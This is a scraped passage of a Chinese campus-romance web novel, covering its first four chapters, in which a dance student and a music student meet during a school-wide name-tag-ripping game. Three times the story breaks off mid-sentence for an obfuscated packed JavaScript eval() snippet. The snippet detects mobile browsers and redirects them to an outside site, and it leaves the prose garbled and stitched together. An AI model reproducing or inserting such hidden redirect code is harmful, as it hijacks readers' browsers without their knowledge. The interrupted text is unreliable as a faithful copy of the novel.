《蓄谋已久的初见[校园]》 1. 契机 《蓄谋已久的初见》 文/兰叩 晋江文学城首发 请支持正版 感恩 . 立夏刚过，夏季的第一个节气已经降临，令人期待的夏天也正缓慢靠近。 蓝海艺术学校的大课间向来热闹，熙来攘往的走廊里，一个背影直挺，身形纤瘦的女生贴着右边缘，安静穿越人流往教室走。 进门后，视线直直望向角落里正低头写试卷的女生，温柔开口。 “尚佳。” 听见有人叫自己，尚佳停下手里的笔抬头往门口看。 学校教学楼是一栋“L”形建筑，正门前种了整排的二乔玉兰。 今年的玉兰开得比往年都盛，花期还格外长。已经五月了，可大朵大朵的粉白玉兰花仍挂在枝头。 11级舞蹈班的文化课教室在“L”形建筑的拐角位置，班里只有15个学生，偌大的教室就三排座椅，一排五人，容积率低到离谱。 尚佳坐在靠窗的最后一排，所以教学楼前的整排玉兰从这间教室看过去，仅在她窗边绽放。 她抬头的瞬间，粉色花朵就在她身后摇曳。 轻轻柔柔，慢慢悠悠，像极了这五月的春风。 “怎么了？”尚佳略扬起眉梢问。 女生抬步往教室里走，声音细软，缓慢道：“海雯老师说下午的课你先带着上，她晚会儿到。” 海雯全名于海雯，16岁上大学，20岁毕业，今年还不到24岁。 是11级舞蹈班的专业课班主任，教古典舞。 “好，”尚佳笑着回答，“我知道了。” 起来活动身体的薛梦听完两人的对话，大马金刀往子上一骑，开始跟尚佳八卦。 “虽然早上海雯老师请假了，但刚刚我去洗手间的时候看见她了。她换了个新发型，染了颜色还剪了齐刘海儿，特别漂亮！” 旁边的女生闻言也转过身附和，“我也看见了，洋娃娃一样！” “对对对！特洋气！”薛梦说。 尚佳眼睛在两人身上一转，调皮道：“希望海雯老师发火的时候，你俩还能觉得她像洋娃娃。” 女生听完立马抗议，“班长你也太破坏气氛了。” “就是！”薛梦也说，“再说了，海雯老师发火你大胆笑一笑嘛，初中那次她发火，你不小心笑了一下，她立马消气了！还说你一笑就像看见花开一样，什么气都没了。” “那次是意外，要是她每次发火我都笑，我得有多疯？”尚佳无奈，“赶紧转过去吧，马上上课了。” 艺术学校的课程安排跟普通学校有所不同。 因为未来要面对艺考，所以一天的时间半天学习文化课，半天学习专业课。 早自习是各个专业的早功时间，晚自习则留给大家写作业。 一上午的文化课很快就结束了，学生老师乌泱泱走出教学楼，前往食堂。 下午的专业课一点半开始，但舞蹈生需要热身，所以通常吃完午饭就往教室走。 即便有多余的时间睡一会儿，大多都选择去舞蹈教室，把技巧课用的软垫铺开两块，盖着校服外套躺在上面睡。 尚佳很少午休，她会利用这个时间写试卷或者作业。坐在她前面的薛梦就趴在桌子上休息，等尚佳写完喊醒她，两人再一块上楼。 已经立夏了，但气温并没有很高，而且舞蹈教室没有空调，穿着单薄的练功服进去还是有点冷。 尚佳常年手凉脚凉，她换好衣服进了教室，在一众耗腿、耗腰、复习组合的同学中，瞄准了一个背对自己面向窗台，在重新盘头发的女生，悄声走过去，调皮地把双手往她后背一放。 “呀！”女生被冰得一个激灵，鸡皮疙瘩瞬间起满全身，扭头掐着尚佳的脖子摇，“凉凉凉凉凉啊尚佳！” 尚佳配合她晃动身子，笑成了微风中的粉色玉兰，花枝乱颤。 一点五十，于海雯走进教室，手里拎着一个星巴克的纸袋。 原本在尚佳的带领下热身的一屋子姑娘，此时见换了新发型的于海雯进来，纷纷起哄，夸奖她“好看”“漂亮”“蓝海最美女老师”等。 于海雯有些害羞地摸了摸就近一个女生的头，笑问：“冷不冷？” “还行。”女生说。 于海雯收手往教室前走，“站队吧。” 15个亭亭玉立的女生连忙集合，在教室正中央站成一排，昂首挺胸，整整齐齐。 于海雯：“上课。” 姑娘们：“老师好，钢琴老师好！” …… 一个半小时的古典舞课结束后，15个姑娘气喘吁吁，脸颊后背全是汗。 于海雯：“站队。” 于海雯：“下课。” 15个姑娘站在教室中央，齐声道：“谢谢老师，谢谢钢琴老师，老师再见。” 说完后90°鞠躬，一堂课算是结束。 钢琴老师跟于海雯摆手，于海雯点头后没动。 她不走，大家也不敢动。 于海雯坐在镜子前的矮柜上，把刚刚进屋拿的袋子从地上拎起来，往腿上一放，看着大家故意拉长声音卖关子说：“下节课——不上了。” 这话一出，所有人的脸上立马露出程度不一的惊讶之色。 于海雯玩心大发，故意板了板脸道：“去操场跑步减肥，看你们一个个胖的！” 一屋子人霎时安静了。 因为这是她们海雯老师能办出来的事儿，而且之前也办过，不止一次。 薛梦挨着尚佳，她闭眼，咬牙切齿地小声嘀咕，“尚佳你嘴是开过光吗……” “怎么了？”尚佳问。 薛梦说：“上午你不是还说，希望海雯老师发火的时候还能觉得她像洋娃娃吗？现在好了，她不发火我都觉得她不像了。” 舞蹈教室虽然大，但屋子里的人实在太少，所以两人的窃窃私语很快被于海雯发现。 她故作生气，皱眉问：“薛梦你嘟嘟囔囔说什么呢！” 薛梦连忙摆手嘿嘿一笑，“没说什么。” 逗够小孩儿，于海雯收回视线低头打开袋子，忍着兴奋说实话，“不逗你们了，下节课校长组织全校撕名牌。” “撕名牌？”有人下意识重复了一遍，其他人也七嘴八舌嘀咕着。 “真的假的！”薛梦大声惊呼，“没骗我们吗海雯老师！” 要知道，14年跑男开播后，除了节目热度创下新高，撕名牌也成了全网讨论话题最多的游戏。 “真的，”于海雯抬头，为了证实确实是真的，从袋子里拿出一个名牌举起来，笑容也变大。 看见她手里的名牌后，教室里瞬间炸开了锅，所有人也不好好站着了，摇头晃脑，兴奋得不行。 艺术学校活动多，但也从来没有过全校一起玩游戏。 看着大家开心，于海雯也高兴，“行了别鬼叫了，念到名字的过来领名牌。” “赵璐。” “梁佳怡。” …… 于海雯在上面一个个念，姑娘们就一个个上去领。 等到所有人都发完了，尚佳又问于海雯，“海雯老师你也参加吗？” 于海雯闻言抬了抬眉梢，唇角也扬起得意的弧度。 她从袋子里取出最后一个名牌，上面是她的名字，“当然！全校师生，全部参加！” 这下大家又激动了，蹦的蹦，跳的跳。 几乎是同一时间，对面舞蹈教室也传来了能掀翻屋顶的欢呼声，显然也知道了这个令人振奋的好消息。 于海雯让大家激动了一会儿，才开始教她们怎么把名牌粘在衣服上，怎么撕别人的名牌，游戏规则是怎样的。 说到最后，她自己也变得有些雀跃和期待，“四点正式开始，五点半结束，全程会有广播提醒。下周五晚自习前，拿着撕下来的名牌去艺术部教导主任办公室登记，撕下来名牌最多的前十名——” 于海雯战术性停顿两秒后，继续道：“有奖品。” 有游戏玩儿就算了，还有奖品，这下大家更开心了。 “行了，”于海雯起身，“赶紧换衣服准备吧。” 她发话，所有人便不再墨迹，簇拥着快步往教室外的更衣室走。 尚佳没有转身，逆着人流走向于海雯。 “怎么了？”于海雯问。 尚佳说：“我去帮冯老师拿演出服。” “好，一会儿去办公室找我， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084526|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你开条儿，”于海雯笑着揽过她的肩膀，一起往教室外走，嘱咐说，“快去快回，别耽误玩游戏。” 尚佳笑着点头，“好。” - 蓝海艺术学校是全封闭式的学校，有新老两个校区。 周一到周五如果没有老师的批准，出不去校园，就算是周六周天，宿舍楼也会在八点准时锁门。 尚佳从初中起就拿送演出服，或者帮老师跑腿。 那时他们还在新校区，高中后才搬来了老校区，所以两个校区的保安都认识她。 但认识归认识，给她开门还是看条儿。 拿了出门条后，尚佳把包放进教室，薛梦看着她手里的出门条儿，问：“你要出去啊？” “嗯，帮冯老师拿演出服。”尚佳说。 “那你得赶紧回来，千万别晚了游戏！”薛梦走到尚佳身边，继续说，“咱班还指望你拿奖呢！” 尚佳喝了口水，把冲了葡萄糖的保温杯放在桌面左上角，才说：“别指望我，我决定一会儿偷懒，找个没人的角落练桃李杯剧目。” “啊！”薛梦失望，“别啊小佳佳，全校都参与的游戏你怎么能练剧目呢！” 尚佳笑，抬下巴指了指不远处让别人帮忙贴名牌的梁佳怡，“让另一个佳佳努力，那个是咱班力气最大的，她一定可以拿奖！” “怎么了班长？”梁佳怡听见尚佳提起自己，连忙抬头问。 薛梦懒洋洋地复述：“班长一会儿要偷偷练桃李杯比赛剧目，说咱班的奖品就指望你了！” 梁佳怡的名牌这时候也贴好了，她转身冲两人举拳昂头，“保证完成任务！” 尚佳往教室外走，边走边跟大家说：“我去拿服装了，有事直接找海雯老师，或者让薛梦去找海雯老师。” “好的，班长注意安全。” “班长路上小心~~” 走廊里、校园中，所有人都在跃跃欲试，甚至好些人已经开始互相练习了，这一路走过去，到处都是魔术贴被撕拉的声音以及大家兴奋的欢呼。 尚佳走到校园门口，敲开保安室的门。值班保安见是尚佳来，笑呵呵地问：“尚佳啊，又帮老师拿东西啊？” “嗯，”尚佳把手里的条儿递过去，乖巧回答，“帮忙去新校区拿服装。” 保安接过条儿仔细查看，然后从抽屉里拿出一个章，盖在上面后把条又递给尚佳，“注意安全。” 尚佳双手接过，笑着说：“谢谢魏叔。” - 蓝海新老两个校区的就学，是按专业分配的。 像舞蹈这种六年制的专业，初中三年在新校区学习，高中后转来老校区。 老校区虽不临大路，少了些新校区的繁华与光鲜，却承载着学校几十年的回忆与故事，拥有着独特的底蕴与历史。 重点是，老校区红瓦黄墙的德式建筑独树一帜，所以很多学生都更喜欢老校区。而且女生宿舍也在老校区，这边车少商铺丰富，相对安全。 两个校区离得并不远，走路十五分钟左右。 出了校门，尚佳径直往新校区方向走。 门口街道两侧种满了樱花和海棠，错开排放，交相呼应。 今年的海棠盛开时间也长，五月了还没有败。粉色的花伴着嫩绿色的叶子，一簇簇一丛丛争相开在枝头，在微风中轻晃，乐此不疲地与风玩闹着。 俯瞰整条街道，嫩绿与淡粉交织，是这个季节最好的颜色代表。 有风吹过，海棠花起舞，花瓣纷飞，下雪一样泼洒空中，然后落下，深灰色面包砖上便铺了一层粉。 尚佳的黑色匡威走过去，脚下的风带起地面的花瓣，再走一步，黑色匡威变成了白色板鞋。 那是陈祝的。 陈祝刚刚回了趟新校区，帮班主任拿遗落在新校区教室的名牌。 新校区地势较低，他自下而上往老校区走。 一辆黑色凯迪拉克迎面而来，卷起地面散落的海棠花瓣。 车身与他擦过的瞬间，风起花飞的刹那，他看到了马路对面的尚佳。 五米左右的距离，两人一上一下。 错过的那一刻，陈祝停下脚步回头。 这是他第十五次与尚佳擦肩而过。 2. 玉兰 尚佳同学， . 尚佳回来的时候，差十分钟四点。 刚推开班级大门，就见所有人摩拳擦掌。 有高抬腿的，有做拉伸的。 薛梦更夸张，拉着于海雯在教室后面的空地，研究从哪个角度最好撕。 班里力气最大的梁佳怡个子却是最矮的，就坐在讲台前面。见尚佳回来，赶紧把她拽进屋关上门，“快进来快进来！” 尚佳被拽了个懵，“怎么了？” “跟你分享战术！”梁佳怡说。 “对，”于海雯见尚佳回来，揽着薛梦往她的方向走，“电视里那些人撕名牌都有战术，咱班也得有！” 尚佳抿抿唇说：“海雯老师，全校师生加起来几百号人呢，咱难不成四渡赤水啊？” 薛梦说：“倒也不用那么复杂，咱班的战术我们刚刚想好了，‘祖蓝之战’！” “‘祖蓝之战’？”尚佳略一思索，问，“捡漏啊？” “对，就是捡漏！”梁佳怡激动地问，“这战术怎么样？” 尚佳竖了个大拇哥儿，“真不错。” 此时，教室里的广播传来了声音，是播音主持专业的学生。 “各位成员请注意，蓝海艺术学校全校撕名牌活动，将于五分钟后正式开始，请各位成员做好准备。” “再次声明，友谊第一，比赛第二，请大家一定注意安全。” 广播结束，感觉窗外的玉兰都在欢呼。 所有人做着最后的准备，就连办公室里的老师也纷纷起身，紧鞋带的紧鞋带，脱外套的脱外套。年纪稍大一些的老师开始调侃自己，说一身老骨头了，也不知道能不能撕下来一个半个的。 不过话虽然这么说，准备动作倒是一样没落下。 “来来来，安静听我说！”于海雯放高声音，拍手把所有人注意力引到自己这里，最后嘱咐大家，“玩游戏归玩游戏，安全最重要，听见了吗？” “听见了！” 四点整，广播准时响起。 “各位成员请注意，蓝海艺术学校全校撕名牌活动，现在开始！” 几乎是“滴”声响起的同时，万马奔腾一样的浩荡声响从走廊传来，几百号人前赴后继地往教学楼外的空地跑，还有很多人在走廊就开始动手了。 撕拉声、尖叫声、欢呼声、呐喊声，所有声音协奏交织在一起，整栋楼都在颤，校园比年末清仓的卖场还热闹。 因为秉承着捡漏的态度，11级舞蹈班的女生们等到外面没什么动静才出去。 结果出了教学楼，看着外面乱成一团也玩儿成一团的同学和老师，气氛使然，女孩儿们一下就忘了之前商量好的“祖蓝”战术，一股脑往人群里冲。 几百号人跟疯了一样，不管认识不认识，也不管对面是老师还是主任，所有人的目标只有一个： 名牌。 尚佳跟在最后，等大家一哄而散，灵活又顺利地跑到了教学楼最东侧的角落，躲进了高大的玉兰树和矮灌木丛后面的空地。 她并不是对撕名牌没兴趣，只是学期汇报的个人剧目还没选，十月份她们班需要代表学校甚至代表城市，参加一个全国性质的比赛。 最重要的是，尚佳要备战第十一届桃李杯，参赛剧目还有技巧组合刚刚编完。 跟她的名字不同，尚佳的父母并不希望她的人生事事追求所谓的完美，觉得这一生中经历的所有事，如果都能做到“尚佳”，那已经是很优秀的一辈子了，所以给她取了这样的名字。 然而从有自己的思维开始，尚佳就希望事事尽全力。 她不会过分追求完美，但也无法接受差不多。 她认为，如果自己能做得比别人好，那就抓住一切机会上。 如果拼尽全力后还是不如别人做得好，那就心服口服主动退出。 所以在听到全校要进行撕名牌的时候，尚佳就决定了利用这个时间，找地方练剧目。 蓝海学校的夏季校服上衣有两种，除了常规款以外，还有一件很舒服的白色棉T，背面肩胛骨的位置印了蓝色的“蓝海艺术学校”几个大字，正面心脏的位置印了校徽。除了周一，剩下的日子所有学生也可以穿这个上学。 而舞蹈生更有特例，除了周一以外，学校还允许他们穿长袖长裤款式的练功服。 因为有这样的特例，所以不论什么时候，只要穿了练功服、盘着利落头发的女生从校园走过，周围的同学都会下意识嘀咕一句： 那是舞蹈专业的。 尚佳今天穿得就是白T，名牌也贴在了白T后面。 下面穿了条黑色练功裤，裤脚被她左右收紧后，往上挽了两道，弄成了更方便的九分裤。 简单热身后她开始顺动作，四周嘈杂的声音丝毫没有影响她，她完全沉浸在自己的世界里，慢慢捋着比赛舞蹈。 跳到一半儿的时候，后背突然“唰”的一声。 这一下来得突然，尚佳下意识转身，就见学校开得最盛的那棵玉兰树下，一个很高很白的男生迎着光，手里举着她的名牌，目光熠熠地望着她，笑容灿烂。 见她转过身，陈祝先是垂眸看了一眼名牌上的名字，继而重新抬起眼睫跟她对视，语气充满抱歉，但也有着小窃喜。 “尚佳同学，不好意思，偷袭了你。” 这个男生的声音实在好听。 嗓音干净，而且带着比玉兰还柔和的笑。 太治愈了，尚佳心想，她觉得心情不好的人如果跟他说说话，一定能立马缓过来。 她扬起唇角，敞亮道：“没关系，偷袭也是一种战术。” “抱歉，看你在这边练舞，实在没忍住这么好的机会。”陈祝再次道歉。 “没什么，”尚佳摇摇头，“这下我正好可以去舞蹈教室了。” 陈祝看着她，放下手里的名牌，语气随意，“是不喜欢这种活动吗？” 尚佳继续摇头，“不是，只是剧目更着急一点。” “原来是这样，”陈祝点头，又提议道，“那要不要体验一下，学校都举办了，好歹试一下撕名牌的感觉。” 尚佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084527|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔了一秒，问：“怎么试？” 陈祝稍侧身子，用尚佳的名牌指了指背后自己的，“用我的。” 尚佳顺着他指的方向看去，在看到他名字后双眉微抬，声音都提高了一个度。 “陈祝？我知道你。” 陈祝转回身，有些惊愕，“你知道？” “嗯，”尚佳点头，然后笑着说，“高一刚开学的时候，主任特别点名批评过你，说你把谱架改成了晾衣架，在上面晾衣服。” “……” 陈祝有些不好意思地抬手蹭了下鼻尖，声音仍旧温和，垂眼道：“我就晾了那一次，后来再也没有晾过……” 尚佳听了直接笑出了声，陈祝闻声抬眸看她，有那么一瞬的怔愣。 他第一次见尚佳笑，说不出来是什么感受，只觉得自己身后的玉兰花好像在她笑起来的刹那，开在了那张巴掌大的脸上。 “抱歉啊，不是故意这样记住你的，”尚佳说，“但——实在令人记忆深刻。” “没什么，”陈祝定定地望着她，“被发现的时候，我就做好全校师生都会知道我名字的准备了。” 尚佳闻言笑着点点头，轻声问：“那……我还能用你的名牌体验吗？” “当然！”陈祝转身背对她，“来吧。” 对于陈祝的行为，尚佳并未多想。 她只觉得这个男生性格很好，也很有礼貌。而且经他这么一说，也确实想体验一下撕名牌的感觉。 尚佳抬步走到陈祝身边，略微昂头，白皙右手握住少年挺拔脊背上的名牌边，“唰”的一声，利落撕下。 她低头盯着手里白底黑字的名牌，没忍住发出一声感叹，“哇~” “怎么样？”陈祝回过身问她，“是不是还挺好玩儿的。” 因为身高差，尚佳略昂头。 有风吹过，陈祝额前的碎发在风中飞舞，皮肤在阳光的照耀下白皙细腻，眼睛更是亮到有些刺目。 “感觉很不错，”她说完把名牌递向陈祝，“谢谢你。” 陈祝没接，略扬眉问：“给我干吗？” “我不准备再撕别人了，一个名牌也换不到奖品，”尚佳把名牌又往上抬了抬，“你的名牌，不留个纪念吗？” “但是你的我打算拿走。”陈祝实话实说。 尚佳笑了，“没关系，那个本来也是你的，是你撕下来的。” 陈祝抬抬下巴，指了指尚佳手里印了自己名字的名牌，“那这个也应该是你的啊，是你撕下来的。” 尚佳静了一秒，才说：“也对。”她收回手，“谢谢你，我先走了。” 陈祝：“再见。” “拜拜。”尚佳冲着陈祝挥了下手，转身往艺术楼方向去。 陈祝漆黑眼眸跟随尚佳的身影，看着她走向人群，然后灵活穿越人群，最终消失在人群。 他望着尚佳消失的方向盯了许久，才垂下眼睑看向自己手里的名牌，大拇指无意识摩挲着名牌一角。 尚佳同学， 终于认识你了。 3. 原来 . 尚佳和陈祝都离开后，五米开外的校园公告栏旁，一道纤瘦身影缓慢走出。 是上午帮于海雯给尚佳传话的女生，她叫赵璐。 尚佳去新校区拿服装的时候，班里的几个女生一直在讨论，说今天一定有很多人去撕暗恋者的名牌。 “那尚佳得被围堵了。”薛梦趴在桌子上，有些幸灾乐祸道。 “不会，没有人敢围尚佳，”梁佳怡说，“你忘了初中的时候，有个其他专业的男生跟尚佳告白，被海雯老师关在舞蹈教室里揍。” 提到这事，薛梦蔫头耷脑，瞬间没了精神。 她当然记得，班里所有人都记得，而且这辈子都不会忘记。 那个男生如果是正常告白，于海雯不会那样揍他。但他仗着自己有几分姿色，剑走偏锋，蹲点尚佳许久后，趁她周六一个人去练功房，激情表达自己的喜欢。 重点是表达完，他来了句，“我身材比你们学舞蹈的男生还好，我有腹肌！” 说完，他当着尚佳的面撩起了自己的衣摆。 他没有露很多，但尚佳还是被这个动作吓到了，而且十分不理解。 几乎是男生腹肌暴露在空气中的同时，尚佳把手里的秧歌舞扇子狠狠扔在了他脸上，骂道：“你有病吧！” 这件事尚佳没有一个人默默承受，更没有隐瞒，周一立马跟于海雯说了。 于海雯听了气得浑身发抖，先是问尚佳，他有没有做其他过分的事情，得知没有后连忙安慰尚佳，最后调取了那天的监控，拷贝到手机里。 她没有找那个男生的班主任，也没有找领导。 年轻气盛的于海雯等到晚自习，直接杀进了他们班，把男生叫出来后，薅着他的头发一口气上到六楼，把人拖进了他告白的那间舞蹈教室，一顿狂揍。 男生回教室就跟家长说了，家长先给班主任打了电话，又打了官网的投诉电话，直接投诉到了校长办公室。 校长知道后并没有轻信一面之词，而是立刻找于海雯了解情况。 于海雯把手机往校长面前一怼，那架势恨不得把手机塞校长眼里，愤然道：“那男生趁我们班姑娘一个人的时候，掀衣服吓她！这哪里是告白，这不是有病吗！妥妥的性骚扰！” 得知事情全貌，校长及学校其他领导全部站在尚佳这边，第一时间协调男生家长，要求男生跟尚佳道歉。 家长同意了，但他们要求于海雯也要跟自己孩子道歉，理由是无论真实情况是怎样的，她打学生就是不对。 对此于海雯欣然接受，揍人的时候她就做好了自己会受到任何处罚的准备。 见她这样无所谓的态度，男生家长可能心有不甘，又要求于海雯必须当着她自己班学生的面，给男生道歉。 这要求就有些无理取闹了，校长上前一步，下意识就要维护。 但话还没来得及说出口就憋回了肚子里。 因为于海雯点头同意了。 当时的她屁股挨着桌面，松垮垮站着，双手环臂，稍歪头跟男生家长对视。巴掌大的脸上没有一丝情绪，甚至点头说行的时候都十分不屑。 11级舞蹈班是于海雯毕业后教的第一个班，也是第一次当班主任。 所有领导及老师对她的评论如出一辙，说她是学校建校以来最狠最严厉的老师，同时也是最护学生的老师。 她的孩子，她可以骂，可以打。 但其他人，动一根头发都不行。 正因如此，她点头同意以后，校长也就没再说什么。 这件事舞蹈部主任冯伟提前跟15个女孩儿说了，所以那天第三节晚自习，当她们整齐站在舞蹈教室中央的时候，一个个眼睛通红。 她们不懂，明明是尚佳受了委屈，明明是那个男生做错了，可事情为什么发展成了这样。 她们心疼尚佳，更心疼她们的海雯老师。 男生先到的，没多久于海雯也到了，但她没进教室，还是懒散靠在门框上，环着手臂，冲男生扬扬下巴，特洒脱地扔了句： “诶，对不起啊。” 话落，女孩儿们哭得更厉害了，尤其尚佳，她很后悔自己把这件事说了出来，她觉得如果自己不说，就什么都不会发生了。 男生走后于海雯才进去。 她关了大门，把15个孩子抱在怀里，“哭什么哭，都不许哭，多大点儿事啊。” 尚佳小声跟于海雯道歉，“海雯老师，对不起。” 于海雯宠溺地敲了下她的额头，“脑子灌浆糊了？”说完又郑重其事道：“不许后悔跟我说了这件事！你就应该说，不能受委屈，明白吗？而且以后碰到这种事，还要跟我说，知不知道？” 尚佳抿唇，她不想撒谎，所以一直咬着牙不说话。于海雯一看就知道她在愧疚，抬手掐了一把她的脸，又强调，“听见了吗？” 尚佳这才点点头，轻声应道：“嗯。” 于海雯又看向其他人，“你们也是，听见了吗？” “听见了。” 这件事当时整个学校都有所耳闻，所有人都知道了11级舞蹈班那个漂亮到像明星一样的专业课班主任于海雯，无敌疼学生。 从那以后，学校里的男生无论多喜欢尚佳，也不敢再有表示。 而且不止尚佳，整个11级舞蹈班的所有女生，都没有男孩子敢随便靠近。 那是2013年，于海雯刚满22岁。 …… 薛梦回神，小声嘟囔，“也是，没人敢围堵她。” “诶！”坐在薛梦旁边那排座椅的一个女生起身，走到薛梦位置，双手撑着她的桌子问，“先不说尚佳，你觉得咱学校那么多帅哥中，一会儿谁会被撕很惨？” 她叫王宛，跟薛梦一个宿舍，住在她对面。 “还能是谁，音乐专业的那位才子呗。”薛梦想都没想，脱口而出。 “我也觉得是他！”王宛一个激动，直接坐到薛梦前面的空位上，跟薛梦继续聊。 今天是赵璐值日，她正在教室后面整理东西。听见两人提到陈祝，手下动作一顿。 撕暗恋人的名牌…… 好像，确实是一个接触的好机会。 蜂拥而至冲出教学楼的时候，赵璐其实还在犹豫。 校园一片人海，而且到处乱七八糟，想要找到陈祝，太难了。 就在她决定放弃陈祝，专注撕名牌争夺奖品的时候，转身随意抬眼间，竟然看到了他。 陈祝是从艺术楼出来的，而且还真被薛梦她们几个说中了，他刚走出来，就被一群人瞬间围住。 有男生，但女生更多。 赵璐和陈祝隔着几米的距离，她觉得自己没有机会了。现在这种情况，等自己过去，陈祝的名牌都不知道被撕下来多少次了。 只是几秒后，围着陈祝的人群突然散开，好几个女生的表情还都不是很好。 最重要的是，陈祝背后的名牌还在，并没有被撕下来。 赵璐不知道发生了什么，但见陈祝离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084528|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她鬼使神差地跟了上去。 两个人一前一后，在校园里走了许久许久，期间有不少人上前靠近陈祝，都被他微笑礼貌拒绝。 他不让别人撕自己，但也不撕别人。 那他这是在做什么？ 就在赵璐百思不得其解的时候，陈祝停下了脚步。赵璐顺着他的视线望过去，她看到了那棵玉兰树下，独自一人专心练舞的尚佳。 而后发生的所有，赵璐全部目睹，只是环境太嘈杂，她没有听到两个人说了什么。 尽管如此，刚刚发生的一切也令她震惊。 所以陈祝兜兜转转，不让别人撕他，也不撕别人的目的，是尚佳？ 可，为什么呢？ 赵璐的思绪像输错代码的程序，乱成了一团。周围的喧嚷声也一点点从她耳蜗消失，她整个人都是恍惚的。 怎么办，自己暗恋了那么久的人，可能也在暗恋着别人…… 赵璐不知道自己是怎么越过人群回教室的，等她反应过来的时候，尚佳就站在她面前，正弯腰歪头盯着她笑。 “你怎么了？”尚佳关心问，“怎么撕个名牌还把魂给撕没了？” “你、怎么在教室啊？”赵璐没想到尚佳会在班里。 尚佳直起身，一耸肩，语气轻松道：“被撕了呗，所以就回来了。”她转身，边往旁边的桌子上随便一靠，问赵璐，“你也被撕了吗？” 她一转身，赵璐立马注意到她手里的名牌，于是自动忽视了尚佳的问题，犹豫两秒，还是开口问了句，“你手里是撕下来的名牌吗？” 尚佳拿起手里的名牌随意看了一眼，才举在赵璐面前扬了下，“对。” 尽管很清楚尚佳手里的名牌就是陈祝的，但当近距离看到“陈祝”两个大字的时候，赵璐的心还是止不住地加速跳动。 她只看了一眼就移开了视线，仿佛眼前的不是陈祝的名牌，而是他本人。 “你撕了陈祝的名牌？”赵璐问。 这话问得有点奇怪，尚佳随口反问了句，“你认识他啊？” 赵璐有些惊讶尚佳会这么问，声音略微放大，“校草啊，音乐才子啊，学校里多数人都认识吧。” 听赵璐提起陈祝是音乐才子，尚佳才猛地反应过来，“呀！” “怎么了？”赵璐问。 尚佳“啧”了一声，放下名牌，有些愧疚地说：“我刚刚不知道怎么回事，忘了这些了。嘴上说着认识他，结果提的却是他高一被主任点名批评的事儿！” 赵璐闻言，愣了两秒，随后“扑哧”一声笑了，整个人也随着这个小插曲轻松了许多，“那次确实难忘。” 刚转学过来的帅哥，第一次升旗就被主任拎上主席台批评，能不记忆深刻嘛。 “唉……”尚佳叹了一口气，重新抬起陈祝的名牌，小声嘀咕着道歉，“不好意思了，陈祝同学。” 道完歉，尚佳放下陈祝的名牌，又问赵璐，“你怎么回来了？”她左右看了看赵璐空着的双手，“没撕别人吗？” “还没撕下来呢，”赵璐有些不自然地说，“我回来喝口水再出去。” “那把这个给你。”尚佳把陈祝的名牌递向赵璐。 赵璐垂眸看着就在眼前，距离自己仅有抬手距离的陈祝的名牌，小心翼翼地问尚佳，“你不要吗？” 尚佳摇头，“不要，我拿完舞蹈鞋去六楼，而且一个名牌也换不了奖品，送给你，多一个名牌就离奖品更近一步。” 赵璐盯着名牌，握紧了手。 4. 冥冥【结尾新增300字】 . 赵璐很想要陈祝的名牌。 不换奖品，自己收藏。 毕竟是自己喜欢了很久的人，就算未来两个人没有任何交集，但能拥有他一件跟他相关的东西，那也是很好的。 所以她很想、很想要。 但—— 赵璐抿了下唇，抬头看向尚佳，“谢谢你，但是你留着吧，毕竟是你撕下来的。” 见赵璐不要，尚佳没再坚持。 “行，”她走回自己的位置，把名牌随意往桌洞里一塞，拿起旁边的背包起身往教室门口走，“我去六楼了，你注意安全。” “好。” 尚佳走了，赵璐转头盯着她的桌子看，许久后才转身出教室。 - 五点半，在广播的提示下，蓝海艺术学校撕名牌活动正式结束。奔跑“扭打”一个半小时，多数人体力耗尽。 原本周五食堂是没有饭的，但今天校领导特意嘱咐了，安排一点饭菜。所以游戏一结束，许多人直接奔赴食堂，饿狼捕食一样问食堂阿姨要饭吃。 阿姨们知道今天有消耗体力活动，所以盛饭的时候特意多给了一些。 15个姑娘有回教室的，有直接去食堂的，也有拿了包回宿舍的，因为今天周五，有人回家。 薛梦转身往教学楼方向跑，她知道尚佳一定在教室里等着自己。 跑太快，她扒着教室门框刹停自己往屋里一看，果不其然，那位美丽的女人正优雅坐在椅子上喝水。 “尚佳！我跟你说我今天老牛了！”薛梦跑过去，把手里的名牌往尚佳桌子上一拍，“怎么样！厉不厉害！” 厚厚一沓，桌面甚至都放不下，哗啦啦往地上淌。尚佳大致瞄了一眼，觉得这一桌没有三十也有二十。 两人一边捡尚佳一边惊叹，“厉害啊！这奖品你不拿谁拿！” “梁佳怡拿！”薛梦把捡起来的名牌重新放回桌面，手压在上面防止二次滑落，“她比我牛！” 说曹操曹操到，捧着自己校服外套的梁佳怡在两人的讨论声中进屋，看见尚佳后迫不及待说出自己的战绩。 “班长快看！”她把怀里的衣服放在讲台上，尚佳和薛梦见状立马起身往讲台走。 